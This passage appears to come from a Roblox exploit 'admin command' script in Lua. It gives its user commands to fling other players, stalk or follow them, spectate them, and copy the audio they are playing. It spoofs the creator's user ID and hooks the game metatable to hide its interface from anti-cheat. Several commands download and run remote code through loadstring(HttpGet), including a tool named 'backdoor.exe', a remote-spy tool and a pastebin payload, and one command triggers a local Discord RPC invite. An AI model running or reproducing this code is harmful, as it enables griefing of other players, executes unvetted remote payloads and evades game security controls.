2880 | until (not hrp or not hrp2 or not hrp.Parent or not hrp2.Parent or tchar:FindFirstChild("RightGrip", true) or n > 250) and n > 2 |
2881 | |
2882 | hrp.CFrame = CFrame.new(999999, workspace.FallenPartsDestroyHeight + 5,999999) |
2883 | camera.CameraType = Enum.CameraType.Custom |
2884 | end |
2885 | end) |
2886 | |
2887 | cmd.add({"fling"}, {"fling <player>", "Fling the given player"}, function(p) |
2888 | local players = argument.getPlayers(p) |
2889 | local char = player.Character |
2890 | local hum = char:FindFirstChildWhichIsA("Humanoid") |
2891 | local cf = char.HumanoidRootPart.CFrame |
2892 | for i, plr in pairs(players) do |
2893 | if char and plr and plr.Character then |
2894 | local enemy = plr.Character |
2895 | local bv = Instance.new("BodyAngularVelocity", char.HumanoidRootPart) |
2896 | bv.MaxTorque = Vector3.new(math.huge, math.huge, math.huge) |
2897 | bv.P = math.huge |
2898 | bv.AngularVelocity = Vector3.new(9e5, 9e5, 0) |
2899 | bv.Name = "hum" |
2900 | |
2901 | wait() |
2902 | char.HumanoidRootPart.CFrame = cf |
2903 | |
2904 | for i,v in pairs(char:GetDescendants()) do |
2905 | if v:IsA('BasePart') then |
2906 | v.Massless = true |
2907 | end |
2908 | end |
2909 | |
2910 | local c = lib.connect("fling", game:GetService('RunService').Stepped:Connect(function() |
2911 | for i,v in pairs(char:GetDescendants()) do |
2912 | if v:IsA('BasePart') then |
2913 | v.CanCollide = false |
2914 | v.Velocity = Vector3.new(0, 0, 0) |
2915 | end |
2916 | end |
2917 | if char.PrimaryPart and enemy.PrimaryPart then |
2918 | char.HumanoidRootPart.CFrame = enemy.HumanoidRootPart.CFrame |
2919 | char.HumanoidRootPart.Velocity = Vector3.new(0, 0, 0) |
2920 | end |
2921 | end)) |
2922 | repeat |
2923 | wait() |
2924 | until |
2925 | character ~= char or not enemy or not enemy.Parent or not c.Connected or not enemy.PrimaryPart or enemy.PrimaryPart.Velocity.magnitude > 100 |
2926 | |
2927 | lib.disconnect("fling") |
2928 | if lp.Character == char then |
2929 | char:SetPrimaryPartCFrame(cf) |
2930 | bv:Destroy() |
2931 | char.HumanoidRootPart.Velocity = Vector3.new(0,0,0) |
2932 | char.HumanoidRootPart.RotVelocity = Vector3.new(0,0,0) |
2933 | end |
2934 | if not c.Connected then |
2935 | break |
2936 | end |
2937 | end |
2938 | end |
2939 | end) |
2940 | cmd.add({"unfling"}, {"unfling", "Stop all attempts to fling"}, function() |
2941 | lib.disconnect("fling") |
2942 | end) |
2943 | |
2944 | cmd.add({"goto", "to", "tp", "teleport"}, {"goto <player/X,Y,Z>", "Teleport to the given player or X,Y,Z coordinates"}, function(p) |
2945 | local players = argument.getPlayers(p) |
2946 | local pos = lib.parseText(p, opt.tupleSeparator) |
2947 | if character then |
2948 | if pos and #pos == 3 then |
2949 | local x,y,z = pos[1], pos[2], pos[3] |
2950 | character:MoveTo(Vector3.new(x, y, z)) |
2951 | elseif players[1] and players[1].Character then |
2952 | character:MoveTo((players[1].Character:GetPrimaryPartCFrame() * CFrame.new(1, 0, 2)).p) |
2953 | end |
2954 | end |
2955 | end) |
2956 | |
2957 | cmd.add({"watch", "view"}, {"watch <player>", "Watch the given player"}, function(p) |
2958 | local players = argument.getPlayers(p) |
2959 | if players[1] and players[1].Character then |
2960 | camera.CameraSubject = players[1].Character:FindFirstChildWhichIsA("Humanoid") |
2961 | end |
2962 | end) |
2963 | cmd.add({"unwatch", "unview"}, {"unwatch", "Stop watching a player"}, function() |
2964 | if character then |
2965 | camera.CameraSubject = character:FindFirstChildWhichIsA("Humanoid") |
2966 | end |
2967 | end) |
2968 | |
2969 | cmd.add({"hydrogen"}, {"hydrogen", "executes hydrogen the remote spy script lol"}, function() |
2970 | local owner = "Upbolt" |
2971 | local branch = "revision" |
2972 | |
2973 | local function webImport(file) |
2974 | return loadstring(game:HttpGetAsync(("https://raw.githubusercontent.com/%s/Hydroxide/%s/%s.lua"):format(owner, branch, file)), file .. '.lua')() |
2975 | end |
2976 | |
2977 | webImport("init") |
2978 | webImport("ui/main") |
2979 | end) |
2980 | |
2981 | cmd.add({"backdoor"}, {"backdoor", "loads in backdoor.exe"}, function() |
2982 | local httpService = game:GetService("HttpService"); |
2983 | |
2984 | local invCode = "xJHCqm84cW"; |
2985 | local httpRequest = (syn and syn.request) or http_request or function() end; |
2986 | |
2987 | local function launchDiscord() |
2988 | if not httpRequest then warn("Exploit not supported. No HTTP found.") return end |
2989 | |
2990 | httpRequest({ |
2991 | Url = "http://127.0.0.1:6463/rpc?v=1", |
2992 | Method = "POST", |
2993 | |
2994 | Headers = { |
2995 | ['Content-Type'] = 'application/json', |
2996 | Origin = 'https://discord.com' |
2997 | }, |
2998 | |
2999 | Body = httpService:JSONEncode({ |
3000 | cmd = 'INVITE_BROWSER', |
3001 | nonce = httpService:GenerateGUID(false), |
3002 | args = {code = invCode} |
3003 | }) |
3004 | }) |
3005 | end; |
3006 | |
3007 | local NotificationBindable = Instance.new("BindableFunction") |
3008 | NotificationBindable.OnInvoke = launchDiscord |
3009 | |
3010 | game:GetService("StarterGui"):SetCore( |
3011 | "SendNotification", |
3012 | { |
3013 | Title = "backdoor.exe", |
3014 | Duration = 5, |
3015 | Text = "Loading lastest version!\n\nJoin our Discord for games, scripts and more", |
3016 | Button1 = "Join Discord!", |
3017 | Callback = NotificationBindable |
3018 | } |
3019 | ) |
3020 | |
3021 | loadstring(game:HttpGet("https://raw.githubusercontent.com/iK4oS/backdoor.exe/v8/src/main.lua"))(); |
3022 | |
3023 | |
3024 | |
3025 | |
3026 | |
3027 | |
3028 | |
3029 | |
3030 | |
3031 | |
3032 | end) |
3033 | |
3034 | cmd.add({"copyaudio", "getaudio"}, {"copyaudio <player>", "Copy all sounds a player is playing to your clipboard -Cyrus"}, function(p) |
3035 | local players = argument.getPlayers(p) |
3036 | local audios = "" |
3037 | for _, player in pairs(players) do |
3038 | local char = player.Character |
3039 | if char then |
3040 | audios = audios .. ("<<[ %s ]>>"):format(player.Name) |
3041 | for i, v in pairs(char:GetDescendants()) do |
3042 | if v:IsA("Sound") and v.Playing then |
3043 | audios = audios .. ("\n[ %s ]: %s"):format(v.Name, v.SoundId) |
3044 | end |
3045 | end |
3046 | end |
3047 | end |
3048 | setclipboard(audios) |
3049 | end) |
3050 | |
3051 | cmd.add({"saveaudio", "stealaudio", "steal"}, {"saveaudio <player>", "Save all sounds a player is playing to a file -Cyrus"}, function(p) |
3052 | local players = argument.getPlayers(p) |
3053 | local audios = "" |
3054 | for _, player in pairs(players) do |
3055 | local char = player.Character |
3056 | if char then |
3057 | audios = audios .. ("<<[ %s ]>>"):format(player.Name) |
3058 | for i, v in pairs(char:GetDescendants()) do |
3059 | if v:IsA("Sound") and v.Playing then |
3060 | audios = audios .. ("\n[ %s ]: %s"):format(v.Name, v.SoundId) |
3061 | end |
3062 | end |
3063 | end |
3064 | end |
3065 | writefile(("Audio-Logs_%c"):format(math.random(1000, 9999)), audios) |
3066 | end) |
3067 | |
3068 | cmd.add({"follow", "stalk", "walk"}, {"follow <player>", "Follow a player wherever they go"}, function(p) |
3069 | lib.disconnect("follow") |
3070 | local players = argument.getPlayers(p) |
3071 | local targetPlayer = players[1] |
3072 | lib.connect("follow", RunService.Stepped:Connect(function() |
3073 | local target = targetPlayer.Character |
3074 | if target and character then |
3075 | local hum = character:FindFirstChildWhichIsA("Humanoid") |
3076 | if hum then |
3077 | local targetPart = target:FindFirstChild("Head") |
3078 | local targetPos = targetPart.Position |
3079 | hum:MoveTo(targetPos) |
3080 | end |
3081 | end |
3082 | end)) |
3083 | end) |
3084 | |
3085 | cmd.add({"pathfind"}, {"pathfind <player>", "Follow a player using the pathfinder API wherever they go"}, function(p) |
3086 | lib.disconnect("follow") |
3087 | local players = argument.getPlayers(p) |
3088 | local targetPlayer = players[1] |
3089 | local debounce = false |
3090 | lib.connect("follow", RunService.Stepped:Connect(function() |
3091 | if debounce then return end |
3092 | debounce = true |
3093 | local target = targetPlayer.Character |
3094 | if target and character then |
3095 | local hum = character:FindFirstChildWhichIsA("Humanoid") |
3096 | local main = target:FindFirstChild("HumanoidRootPart") |
3097 | if hum then |
3098 | local targetPart = target:FindFirstChild("HumanoidRootPart") or target:FindFirstChild("Head") |
3099 | local targetPos = (targetPart.CFrame * CFrame.new(0, 0, -0.5)).p |
3100 | local PathService = game:GetService("PathfindingService") |
3101 | local path = PathService:CreatePath({ |
3102 | AgentRadius = 2, |
3103 | AgentHeight = 5, |
3104 | AgentCanJump = true |
3105 | }) |
3106 | local points = path:ComputeAsync(main.Position, targetPos) |
3107 | |
3108 | if path.Status then |
3109 | local waypoints = path:GetWaypoints() |
3110 | for i, waypoint in pairs(waypoints) do |
3111 | if i > 2 then break end |
3112 | if waypoint.Action == Enum.PathWaypointAction.Jump then |
3113 | hum.Jump = true |
3114 | end |
3115 | hum:MoveTo(waypoint.Position) |
3116 | local distance = 5 |
3117 | repeat |
3118 | wait() |
3119 | distance = (waypoint.Position - main.Position).magnitude |
3120 | until |
3121 | (targetPos - targetPart.Position).magnitude > 2 or distance < 1 |
3122 | |
3123 | if (targetPos - targetPart.Position).magnitude > 2 then |
3124 | break |
3125 | end |
3126 | end |
3127 | end |
3128 | end |
3129 | end |
3130 | debounce = false |
3131 | end)) |
3132 | end) |
3133 | |
3134 | cmd.add({"unfollow", "unstalk", "unwalk", "unpathfind"}, {"unfollow", "Stop all attempts to follow a player"}, function() |
3135 | lib.disconnect("follow") |
3136 | end) |
3137 | |
3138 | cmd.add({"r6"}, {"r6", "Makes your character support R6 scripts while in R15"}, function() |
3139 | loadstring(game:HttpGetAsync("https://raw.githubusercontent.com/Gelatekussy/GelatekHub/main/src/lib/Reanimate.lua"))() |
3140 | end) |
3141 | |
3142 | cmd.add({"invisible"}, {"invisible", "Gives you an invisible tool"}, function() |
3143 | loadstring(game:HttpGetAsync("https://pastebin.com/raw/0wE8rKJ1"))() |
3144 | end) |
3145 | |
3146 | cmd.add({"cid", "setcreatorid"}, {"cid", "sets the id to the creator's id"}, function() |
3147 | if game.CreatorType == Enum.CreatorType.User then |
3148 | game.Players.LocalPlayer.UserId = game.CreatorId |
3149 | end |
3150 | if game.CreatorType == Enum.CreatorType.Group then |
3151 | game.Players.LocalPlayer.UserId = game:GetService("GroupService"):GetGroupInfoAsync(game.CreatorId).Owner.Id |
3152 | end |
3153 | end) |
3154 | |
3155 | |
3156 | localPlayer.Chatted:Connect(function(str) |
3157 | lib.parseCommand(str) |
3158 | end) |
3159 | |
3160 | |
3161 | local ScreenGui |
3162 | if not RunService:IsStudio() then |
3163 | ScreenGui = game:GetObjects("rbxassetid://12095186225")[1] |
3164 | else |
3165 | repeat wait() until player:FindFirstChild("AdminUI", true) |
3166 | ScreenGui = player:FindFirstChild("AdminUI", true) |
3167 | end |
3168 | |
3169 | local description = ScreenGui.Description |
3170 | local cmdBar = ScreenGui.CmdBar |
3171 | local centerBar = cmdBar.CenterBar |
3172 | local cmdInput = centerBar.Input |
3173 | local cmdAutofill = cmdBar.Autofill |
3174 | local cmdExample = cmdAutofill.Cmd |
3175 | local leftFill = cmdBar.LeftFill |
3176 | local rightFill = cmdBar.RightFill |
3177 | local chatLogsFrame = ScreenGui.ChatLogs |
3178 | local chatLogs = chatLogsFrame.Container.Logs |
3179 | local chatExample = chatLogs.TextLabel |
3180 | local commandsFrame = ScreenGui.Commands |
3181 | local commandsFilter = commandsFrame.Container.Filter |
3182 | local commandsList = commandsFrame.Container.List |
3183 | local commandExample = commandsList.TextLabel |
3184 | local resizeFrame = ScreenGui.Resizeable |
3185 | local resizeXY = { |
3186 | Top = {Vector2.new(0, -1), Vector2.new(0, -1), "rbxassetid://2911850935"}, |
3187 | Bottom = {Vector2.new(0, 1), Vector2.new(0, 0), "rbxassetid://2911850935"}, |
3188 | Left = {Vector2.new(-1, 0), Vector2.new(1, 0), "rbxassetid://2911851464"}, |
3189 | Right = {Vector2.new(1, 0), Vector2.new(0, 0), "rbxassetid://2911851464"}, |
3190 | |
3191 | TopLeft = {Vector2.new(-1, -1), Vector2.new(1, -1), "rbxassetid://2911852219"}, |
3192 | TopRight = {Vector2.new(1, -1), Vector2.new(0, -1), "rbxassetid://2911851859"}, |
3193 | BottomLeft = {Vector2.new(-1, 1), Vector2.new(1, 0), "rbxassetid://2911851859"}, |
3194 | BottomRight = {Vector2.new(1, 1), Vector2.new(0, 0), "rbxassetid://2911852219"}, |
3195 | } |
3196 | |
3197 | cmdExample.Parent = nil |
3198 | chatExample.Parent = nil |
3199 | commandExample.Parent = nil |
3200 | resizeFrame.Parent = nil |
3201 | |
3202 | local rPlayer = Players:FindFirstChildWhichIsA("Player") |
3203 | local coreGuiProtection = {} |
3204 | |
3205 | pcall(function() |
3206 | for i, v in pairs(ScreenGui:GetDescendants()) do |
3207 | coreGuiProtection[v] = rPlayer.Name |
3208 | end |
3209 | ScreenGui.DescendantAdded:Connect(function(v) |
3210 | coreGuiProtection[v] = rPlayer.Name |
3211 | end) |
3212 | coreGuiProtection[ScreenGui] = rPlayer.Name |
3213 | |
3214 | local meta = getrawmetatable(game) |
3215 | local tostr = meta.__tostring |
3216 | setreadonly(meta, false) |
3217 | meta.__tostring = newcclosure(function(t) |
3218 | if coreGuiProtection[t] and not checkcaller() then |
3219 | return coreGuiProtection[t] |
3220 | end |
3221 | return tostr(t) |
3222 | end) |
3223 | end) |
3224 | if not RunService:IsStudio() then |
3225 | local newGui = game:GetService("CoreGui"):FindFirstChildWhichIsA("ScreenGui") |
3226 | newGui.DescendantAdded:Connect(function(v) |
3227 | coreGuiProtection[v] = rPlayer.Name |
3228 | end) |
3229 | for i, v in pairs(ScreenGui:GetChildren()) do |
3230 | v.Parent = newGui |
3231 | end |
3232 | ScreenGui = newGui |
3233 | end |
3234 | |
3235 | |
3236 | gui = {} |
3237 | gui.txtSize = function(ui, x, y) |
3238 | local textService = game:GetService("TextService") |
3239 | return textService:GetTextSize(ui.Text, ui.TextSize, ui.Font, Vector2.new(x, y)) |
3240 | end |
3241 | gui.commands = function() |
3242 | if not commandsFrame.Visible then |
3243 | commandsFrame.Visible = true |
3244 | commandsList.CanvasSize = UDim2.new(0, 0, 0, 0) |
3245 | end |
3246 | for i, v in pairs(commandsList:GetChildren()) do |
3247 | if v:IsA("TextLabel") then |
3248 | Destroy(v) |
3249 | end |
3250 | end |
3251 | local i = 0 |
3252 | for cmdName, tbl in pairs(Commands) do |
3253 | local Cmd = commandExample:Clone() |
3254 | Cmd.Parent = commandsList |
3255 | Cmd.Name = cmdName |
3256 | Cmd.Text = " " .. tbl[2][1] |
3257 | Cmd.MouseEnter:Connect(function() |
3258 | description.Visible = true |
3259 | description.Text = tbl[2][2] |
3260 | end) |
3261 | Cmd.MouseLeave:Connect(function() |
3262 | if description.Text == tbl[2][2] then |
3263 | description.Visible = false |
3264 | description.Text = "" |
3265 | end |
3266 | end) |
3267 | i = i + 1 |
3268 | end |
3269 | commandsList.CanvasSize = UDim2.new(0, 0, 0, i*20+10) |
3270 | commandsFrame.Position = UDim2.new(0.5, -283/2, 0.5, -260/2) |
3271 | end |
3272 | gui.chatlogs = function() |
3273 | if not chatLogsFrame.Visible then |
3274 | chatLogsFrame.Visible = true |
3275 | end |
3276 | chatLogsFrame.Position = UDim2.new(0.5, -283/2+5, 0.5, -260/2+5) |
3277 | end |
3278 | |
3279 | gui.tween = function(obj, style, direction, duration, goal) |
3280 | local tweenInfo = TweenInfo.new(duration, Enum.EasingStyle[style], Enum.EasingDirection[direction]) |
3281 | local tween = TweenService:Create(obj, tweenInfo, goal) |
3282 | tween:Play() |
3283 | return tween |
3284 | end |
3285 | gui.mouseIn = function(guiObject, range) |
3286 | local pos1, pos2 = guiObject.AbsolutePosition, guiObject.AbsolutePosition + guiObject.AbsoluteSize |
3287 | local mX, mY = mouse.X, mouse.Y |
3288 | if mX > pos1.X-range and mX < pos2.X+range and mY > pos1.Y-range and mY < pos2.Y+range then |
3289 | return true |
3290 | end |
3291 | return false |
3292 | end |
3293 | gui.resizeable = function(ui, min, max) |
3294 | local rgui = resizeFrame:Clone() |
3295 | rgui.Parent = ui |
3296 | |
3297 | local mode |
3298 | local UIPos |
3299 | local lastSize |
3300 | local lastPos = Vector2.new() |
3301 | |
3302 | local function update(delta) |
3303 | local xy = resizeXY[(mode and mode.Name) or ''] |
3304 | if not mode or not xy then return end |
3305 | local delta = (delta * xy[1]) or Vector2.new() |
3306 | local newSize = Vector2.new(lastSize.X + delta.X, lastSize.Y + delta.Y) |
3307 | newSize = Vector2.new( |
3308 | math.clamp(newSize.X, min.X, max.X), |
3309 | math.clamp(newSize.Y, min.Y, max.Y) |
3310 | ) |
3311 | ui.Size = UDim2.new(0, newSize.X, 0, newSize.Y) |
3312 | ui.Position = UDim2.new( |
3313 | UIPos.X.Scale, |
3314 | UIPos.X.Offset + (-(newSize.X - lastSize.X) * xy[2]).X, |
3315 | UIPos.Y.Scale, |
3316 | UIPos.Y.Offset + (delta * xy[2]).Y |
3317 | ) |
3318 | end |
3319 | |
3320 | mouse.Move:Connect(function() |
3321 | update(Vector2.new(mouse.X, mouse.Y) - lastPos) |
3322 | end) |
3323 | |
3324 | for _, button in pairs(rgui:GetChildren()) do |
3325 | local isIn = false |
3326 | button.InputBegan:Connect(function(input) |
3327 | if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then |
3328 | mode = button |
3329 | lastPos = Vector2.new(mouse.X, mouse.Y) |
3330 | lastSize = ui.AbsoluteSize |
3331 | UIPos = ui.Position |
3332 | end |
3333 | end) |
3334 | button.InputEnded:Connect(function(input) |
3335 | if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then |
3336 | mode = nil |
3337 | end |
3338 | end) |
3339 | button.MouseEnter:Connect(function() |
3340 | mouse.Icon = resizeXY[button.Name][3] |
3341 | end) |
3342 | button.MouseLeave:Connect(function() |
3343 | if mouse.Icon == resizeXY[button.Name][3] then |
3344 | mouse.Icon = "" |
3345 | end |
3346 | end) |
3347 | end |
3348 | end |
3349 | gui.draggable = function(ui, dragui) |
3350 | if not dragui then dragui = ui end |
3351 | local UserInputService = game:GetService("UserInputService") |
3352 | |
3353 | local dragging |
3354 | local dragInput |
3355 | local dragStart |
3356 | local startPos |
3357 | |
3358 | local function update(input) |
3359 | local delta = input.Position - dragStart |
3360 | ui.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y) |
3361 | end |
3362 | |
3363 | dragui.InputBegan:Connect(function(input) |
3364 | if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then |
3365 | dragging = true |
3366 | dragStart = input.Position |
3367 | startPos = ui.Position |
3368 | |
3369 | input.Changed:Connect(function() |
3370 | if input.UserInputState == Enum.UserInputState.End then |
3371 | dragging = false |
3372 | end |
3373 | end) |
3374 | end |
3375 | end) |
3376 | |
3377 | dragui.InputChanged:Connect(function(input) |
3378 | if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then |
3379 | dragInput = input |
3380 | end |
3381 | end) |
3382 | |
3383 | UserInputService.InputChanged:Connect(function(input) |
3384 | if input == dragInput and dragging then |
3385 | update(input) |
3386 | end |
3387 | end) |
3388 | end |
3389 | gui.menuify = function(menu) |
3390 | local exit = menu:FindFirstChild("Exit", true) |
3391 | local mini = menu:FindFirstChild("Minimize", true) |
3392 | local minimized = false |
3393 | local sizeX, sizeY = Instance.new("IntValue", menu), Instance.new("IntValue", menu) |
3394 | mini.MouseButton1Click:Connect(function() |
3395 | minimized = not minimized |
3396 | if minimized then |
3397 | sizeX.Value = menu.Size.X.Offset |
3398 | sizeY.Value = menu.Size.Y.Offset |
3399 | gui.tween(menu, "Quart", "Out", 0.5, {Size = UDim2.new(0, 200, 0, 25)}) |
3400 | else |
3401 | gui.tween(menu, "Quart", "Out", 0.5, {Size = UDim2.new(0, sizeX.Value, 0, sizeY.Value)}) |
3402 | end |
3403 | end) |
3404 | exit.MouseButton1Click:Connect(function() |
3405 | menu.Visible = false |
3406 | end) |
3407 | gui.draggable(menu, menu.Topbar) |
3408 | menu.Visible = false |
3409 | end |
3410 | gui.barSelect = function(speed) |
3411 | centerBar.Visible = true |
3412 | gui.tween(centerBar, "Sine", "Out", speed or 0.25, {Size = UDim2.new(0, 250, 1, 15)}) |
3413 | gui.tween(leftFill, "Quad", "Out", speed or 0.3, {Position = UDim2.new(0, 0, 0.5, 0)}) |
3414 | gui.tween(rightFill, "Quad", "Out", speed or 0.3, {Position = UDim2.new(1, 0, 0.5, 0)}) |
3415 | gui.loadCommands() |
3416 | end |
3417 | gui.barDeselect = function(speed) |
3418 | gui.tween(centerBar, "Sine", "Out", speed or 0.25, {Size = UDim2.new(0, 250, 0, 0)}) |
3419 | gui.tween(leftFill, "Sine", "In", speed or 0.3, {Position = UDim2.new(-0.5, 100, 0.5, 0)}) |
3420 | gui.tween(rightFill, "Sine", "In", speed or 0.3, {Position = UDim2.new(1.5, -100, 0.5, 0)}) |
3421 | for i, v in pairs(cmdAutofill:GetChildren()) do |
3422 | if v:IsA("Frame") then |
3423 | wrap(function() |
3424 | wait(math.random(1, 200)/2000) |
3425 | gui.tween(v, "Back", "In", 0.35, {Size = UDim2.new(0, 0, 0, 25)}) |
3426 | end) |
3427 | end |
3428 | end |
3429 | end |
3430 | gui.loadCommands = function() |
3431 | for i, v in pairs(cmdAutofill:GetChildren()) do |
3432 | if v.Name ~= "UIListLayout" then |
3433 | Destroy(v) |
3434 | end |
3435 | end |
3436 | local last = nil |
3437 | local i = 0 |
3438 | for name, tbl in pairs(Commands) do |
3439 | local info = tbl[2] |
3440 | local btn = cmdExample:Clone() |
3441 | btn.Parent = cmdAutofill |
3442 | btn.Name = name |
3443 | btn.Input.Text = info[1] |
3444 | i = i + 1 |
3445 | |
3446 | local size = btn.Size |
3447 | btn.Size = UDim2.new(0, 0, 0, 25) |
3448 | btn.Size = size |
3449 | end |
3450 | end |
3451 | gui.searchCommands = function() |
3452 | local _1, _2, _3, _0 = {}, {}, {}, {} |
3453 | local str = cmdInput.Text:gmatch("[^ ;]+")() |
3454 | if str then str = str:lower() else str = "" end |
3455 | |
3456 | for i, v in pairs(cmdAutofill:GetChildren()) do |
3457 | if v:IsA("Frame") then |
3458 | local found = Commands[v.Name] |
3459 | if Commands[v.Name] then |
3460 | if str ~= "" and v.Name:find(str) == 1 then |
3461 | v.LayoutOrder = 1 |
3462 | table.insert(_1, v) |
3463 | end |
3464 | if str ~= "" and v.Name:find(str) and v.LayoutOrder ~= 1 then |
3465 | v.LayoutOrder = 2 |
3466 | table.insert(_2, v) |
3467 | end |
3468 | if str == "" or v.Name:find(str) == nil then |
3469 | v.LayoutOrder = 3 |
3470 | table.insert(_3, v) |
3471 | end |
3472 | end |
3473 | for CmdName, tbl in pairs(Aliases) do |
3474 | if Commands[v.Name][1] == tbl[1] then |
3475 | if str ~= "" and CmdName:find(str) == 1 then |
3476 | v.LayoutOrder = 1 |
3477 | table.insert(_1, v) |
3478 | end |
3479 | if str ~= "" and CmdName:find(str) then |
3480 | v.LayoutOrder = 2 |
3481 | table.insert(_2, v) |
3482 | end |
3483 | if str == "" or CmdName:find(str) == nil then |
3484 | v.LayoutOrder = 3 |
3485 | table.insert(_3, v) |
3486 | end |
3487 | break |
3488 | end |
3489 | end |
3490 | end |
3491 | end |
3492 | |
3493 | for i, v in pairs(_1) do if not lib.find(_0, v) then table.insert(_0, v) end end |
3494 | for i, v in pairs(_2) do if not lib.find(_0, v) then table.insert(_0, v) end end |
3495 | for i, v in pairs(_3) do if not lib.find(_0, v) then table.insert(_0, v) end end |
3496 | |
3497 | local last |
3498 | for i, v in pairs(_0) do |
3499 | local n = (i ^ -0.5) * 125 |
3500 | if last then |
3501 | local pos = last.Value.Value |
3502 | local newPos = UDim2.new(0.5, 0, 0, pos + 25 + 3) |
3503 | gui.tween(v, "Quint", "Out", 0.3, { |
3504 | Size = UDim2.new(0.5, n, 0, 25) |
3505 | }) |
3506 | v.Value.Value = newPos.Y.Offset |
3507 | v.LayoutOrder = i |
3508 | else |
3509 | gui.tween(v, "Quint", "Out", 0.3, { |
3510 | Size = UDim2.new(0.5, n, 0, 25) |
3511 | }) |
3512 | v.Value.Value = 0 |
3513 | v.LayoutOrder = i |
3514 | end |
3515 | last = v |
3516 | end |
3517 | end |
3518 | |
3519 | |
3520 | mouse.KeyDown:Connect(function(k) |
3521 | if k:lower() == opt.prefix then |
3522 | gui.barSelect() |
3523 | cmdInput.Text = '' |
3524 | cmdInput:CaptureFocus() |
3525 | end |
3526 | end) |
3527 | |
3528 | cmdInput.FocusLost:Connect(function(enterPressed) |
3529 | if enterPressed then |
3530 | wrap(function() |
3531 | lib.parseCommand(opt.prefix .. cmdInput.Text) |
3532 | end) |
3533 | end |
3534 | gui.barDeselect() |
3535 | end) |
3536 | |
3537 | cmdInput.Changed:Connect(function(p) |
3538 | if p ~= "Text" then return end |
3539 | gui.searchCommands() |
3540 | end) |
3541 | |
3542 | gui.barDeselect(0) |
3543 | cmdBar.Visible = true |
3544 | gui.menuify(chatLogsFrame) |
3545 | gui.menuify(commandsFrame) |
3546 | gui.resizeable(chatLogsFrame, Vector2.new(173,58), Vector2.new(1000,1000)) |
3547 | gui.resizeable(commandsFrame, Vector2.new(184,84), Vector2.new(1000,1000)) |
3548 | |
3549 | commandsFilter.Changed:Connect(function(p) |
3550 | if p ~= "Text" then return end |
3551 | for i, v in pairs(commandsList:GetChildren()) do |
3552 | if v:IsA("TextLabel") then |
3553 | if v.Name:find(commandsFilter.Text:lower()) and v.Name:find(commandsFilter.Text:lower()) <= 2 then |
3554 | v.Visible = true |
3555 | else |
3556 | v.Visible = false |
3557 | end |
3558 | end |
3559 | end |
3560 | end) |
3561 | |
3562 | local function bindToChat(plr, msg) |
3563 | local chatMsg = chatExample:Clone() |
3564 | for i, v in pairs(chatLogs:GetChildren()) do |
3565 | if v:IsA("TextLabel") then |
3566 | v.LayoutOrder = v.LayoutOrder + 1 |
3567 | end |
3568 | end |
3569 | chatMsg.Parent = chatLogs |
3570 | chatMsg.Text = ("[%s]: %s"):format(plr.Name, msg) |
3571 | |
3572 | local txtSize = gui.txtSize(chatMsg, chatMsg.AbsoluteSize.X, 100) |
3573 | chatMsg.Size = UDim2.new(1, -5, 0, txtSize.Y) |
3574 | end |
3575 | |
3576 | for i, plr in pairs(Players:GetPlayers()) do |
3577 | plr.Chatted:Connect(function(msg) |
3578 | bindToChat(plr, msg) |
3579 | end) |
3580 | end |
3581 | Players.PlayerAdded:Connect(function(plr) |
3582 | plr.Chatted:Connect(function(msg) |
3583 | bindToChat(plr, msg) |
3584 | end) |
3585 | end) |
3586 | |
3587 | mouse.Move:Connect(function() |
3588 | description.Position = UDim2.new(0, mouse.X, 0, mouse.Y) |
3589 | local size = gui.txtSize(description, 200, 100) |
3590 | description.Size = UDim2.new(0, size.X, 0, size.Y) |
3591 | end) |
3592 | |
3593 | RunService.Stepped:Connect(function() |
3594 | chatLogs.CanvasSize = UDim2.new(0, 0, 0, chatLogs.UIListLayout.AbsoluteContentSize.Y) |
3595 | commandsList.CanvasSize = UDim2.new(0, 0, 0, commandsList.UIListLayout.AbsoluteContentSize.Y) |
3596 | end) |
3597 | |
3598 | function Destroy(guiObject) |
3599 | if not pcall(function()guiObject.Parent = game:GetService("CoreGui")end) then |
3600 | guiObject.Parent = nil |
3601 | end |
3602 | end |
3603 | wait(.5) |
3604 | |
3605 | |
3606 | |
3607 | |
3608 | |
3609 | local ScreenGui55 = Instance.new("ScreenGui") |
3610 | local Frame = Instance.new("Frame") |
3611 | local UIGradient = Instance.new("UIGradient") |
3612 | local ImageLabel = Instance.new("ImageLabel") |
3613 | local UICorner = Instance.new("UICorner") |
3614 | |
3615 | |
3616 | |
3617 | ScreenGui55.Name = "ScreenGui55" |
3618 | ScreenGui55.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui") |
3619 | ScreenGui55.ZIndexBehavior = Enum.ZIndexBehavior.Sibling |
3620 | |
3621 | Frame.Parent = ScreenGui55 |
3622 | Frame.BackgroundColor3 = Color3.fromRGB(255, 255, 255) |
3623 | Frame.BackgroundTransparency = 0.170 |
3624 | Frame.BorderSizePixel = 0 |
3625 | Frame.Position = UDim2.new(0.423606783, 0, 0, 0) |
3626 | Frame.Size = UDim2.new(0, 263, 0, 60) |
3627 | |
3628 | UIGradient.Color = ColorSequence.new{ColorSequenceKeypoint.new(0.00, Color3.fromRGB(10, 22, 41)), ColorSequenceKeypoint.new(0.26, Color3.fromRGB(17, 28, 44)), ColorSequenceKeypoint.new(0.51, Color3.fromRGB(17, 30, 47)), ColorSequenceKeypoint.new(0.76, Color3.fromRGB(21, 43, 53)), ColorSequenceKeypoint.new(1.00, Color3.fromRGB(14, 29, 47))} |
3629 | UIGradient.Offset = Vector2.new(-0.014400024, 0.0150001524) |
3630 | UIGradient.Transparency = NumberSequence.new{NumberSequenceKeypoint.new(0.00, 0.00), NumberSequenceKeypoint.new(0.48, 0.00), NumberSequenceKeypoint.new(1.00, 0.00)} |
3631 | UIGradient.Parent = Frame |
3632 | |
3633 | ImageLabel.Parent = Frame |
3634 | ImageLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255) |
3635 | ImageLabel.BackgroundTransparency = 1.000 |
3636 | ImageLabel.Position = UDim2.new(0.108166613, 0, 0.150000006, 0) |
3637 | ImageLabel.Size = UDim2.new(0, 206, 0, 42) |
3638 | ImageLabel.Image = "http://www.roblox.com/asset/?id=12094592378" |
3639 | |
